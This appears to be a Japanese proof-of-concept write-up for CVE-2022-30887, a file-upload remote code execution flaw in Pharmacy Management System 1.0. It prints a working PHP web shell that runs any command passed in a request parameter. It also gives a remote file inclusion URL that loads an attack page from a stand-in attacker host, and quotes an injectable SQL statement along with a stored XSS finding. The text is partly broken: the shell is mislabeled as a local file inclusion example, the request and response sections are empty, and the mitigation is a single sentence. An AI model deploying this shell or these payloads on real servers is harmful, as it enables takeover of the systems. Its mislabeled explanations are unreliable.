
CVE-2022-30887 の概念実証エクスプロイト:Pharmacy Management System 1.0 における無制限ファイルアップロードを介したリモートコード実行。詳細なウォークスルー、PHP シェルペイロード、緩和ガイダンスを含みます。
このアプリケーションはMayurikによって構築されました。 Pharmacy management systemプロジェクトは、セキュリティと管理を通じて薬局の正確性と効率を向上させるためにPHPで開発されました。簡単に言えば、製品在庫管理アプリケーションです。
Pharmacy Management System v1.0には、コンポーネント「/php_action/editProductImage.php」を介したリモートコード実行(RCE)の脆弱性が発見されました。この脆弱性により、攻撃者は細工された画像ファイルを介して任意のコードを実行できます。
ファイルアップロードの脆弱性は、通常、スクリプトを実行可能にする脆弱性です。サーバーにファイルをアップロードし、アップロードしたファイルに対してコマンドを入力することで機能します。ファイルアップロードの脆弱性は、次の2つのタイプに分類されます。
この脆弱性は、サーバー上のローカルファイルがユーザーから取得したファイルをインクルードする場合に発生します。ユーザーから受け取った値はサニタイズされなければなりません。
LFI(ローカルファイルインクルージョン) の例;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
この脆弱性は、攻撃者がリモートサーバーからマルウェアをアップロードする際に機能します。
RFI(リモートファイルインクルージョン) の例;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

phpシェルスクリプトの例;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Request;

Response;

Request;

Response;


また、この脆弱性はアプリケーション上でまだアクティブです。
同じ「editproduct.php」ページで、Stored XSSを発見しました。
脆弱性を含むコードは次のとおりです。
$sql = "UPDATE product SET product_name = '$productName'"
このコードブロックでは、二重引用符(")を使用してコンテキストから抜け出すことができます。



この説明で、ファイルインクルージョンの脆弱性がどのように機能するか、どのような状況でこの脆弱性が引き起こされるか、そして攻撃者からこの攻撃を防ぐ方法が伝われば幸いです。お忙しい中、ありがとうございました。